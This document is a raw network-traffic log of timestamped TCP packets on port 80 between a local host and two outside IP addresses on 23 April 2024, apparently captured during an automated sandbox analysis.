Apr 23, 2024 09:38:11.940908909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.940913916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940932035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940934896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.940934896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.940948963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940960884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.940963984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940970898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.940989017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.941006899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.941018105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.941035032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.941050053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.941059113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.941066027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.941075087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.941093922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.941142082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.972022057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.972042084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.972059965 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.972094059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.984863043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.984880924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.985061884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.985260010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.985276937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.985420942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.985438108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.985451937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.985454082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.985451937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.985471010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.985501051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.985501051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.985501051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.985513926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986089945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986108065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986144066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986160040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986176968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986188889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986193895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986188889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986188889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986212969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986224890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986224890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986229897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986237049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986255884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986258984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986273050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986282110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986295938 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986309052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986335039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986375093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986381054 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986392021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986407995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986413002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986423969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986428976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986440897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986444950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986458063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986459017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986474991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986481905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986491919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986493111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986509085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986510038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986525059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986541033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986542940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986542940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986557007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986557961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986573935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986576080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986591101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986596107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986608028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986608982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986624956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986632109 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986641884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986644030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986659050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986659050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986675978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986682892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986692905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986694098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986709118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986712933 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986725092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986726046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986743927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986752987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986759901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986761093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986776114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986777067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986793995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986794949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986812115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.986816883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986826897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.986846924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.014538050 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.030005932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030039072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030056000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030071974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030088902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030098915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.030134916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.030405998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030422926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030438900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030446053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.030457020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030476093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.030558109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030572891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030589104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030596972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.030606031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030621052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030622005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.030637026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030653000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030653954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.030669928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030684948 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.030685902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030702114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030715942 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.030719042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.030745983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.031227112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031244040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031260014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031275034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031286955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.031291962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031307936 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.031322956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031339884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031358004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031359911 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.031389952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.031560898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031578064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031593084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031608105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031609058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.031624079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031639099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031640053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.031655073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031670094 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.031671047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031687021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031702995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031704903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.031719923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031734943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.031735897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031753063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.031770945 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.033955097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.033972979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.033988953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034006119 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034007072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.034035921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.034076929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034094095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034110069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034112930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.034126043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034141064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.034142017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034157991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034173012 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.034173965 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034189939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034204006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.034207106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034236908 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.034384966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034467936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034485102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034502029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034503937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.034518003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034533024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.034534931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034550905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034565926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.034568071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034584999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.034596920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035008907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035049915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035139084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035156012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035171032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035187006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035188913 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035202980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035218000 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035218954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035234928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035248995 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035252094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035275936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035290003 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035291910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035307884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035321951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035324097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035341024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035352945 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035449982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035486937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035613060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035670042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035701990 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035896063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035929918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035947084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035963058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035967112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.035979986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035995960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.035998106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036014080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036030054 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036031961 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036047935 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036062956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036065102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036079884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036093950 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036097050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036122084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036139011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036145926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036154985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036170959 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036173105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036187887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036196947 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036202908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036218882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036236048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036245108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036252022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036267996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036269903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036283970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036297083 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036299944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036317110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036329985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036333084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036349058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036365032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036365986 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036381006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036395073 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036396980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036412954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036428928 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036428928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036444902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036458969 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036459923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036475897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036488056 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036492109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036508083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036523104 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036524057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036540031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036552906 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036556959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036572933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036587954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036588907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036604881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036621094 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036622047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036637068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036649942 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036653042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036668062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036680937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036683083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036699057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036714077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036715984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036731005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036746025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036746025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036761999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036776066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036777973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036792994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036808968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036808968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036828995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036840916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036844969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036860943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036875963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036876917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036892891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036909103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036911011 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036923885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036938906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036940098 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.036955118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036971092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036973000 CEST	49735	80	192.168.2.4	185.172.128.228
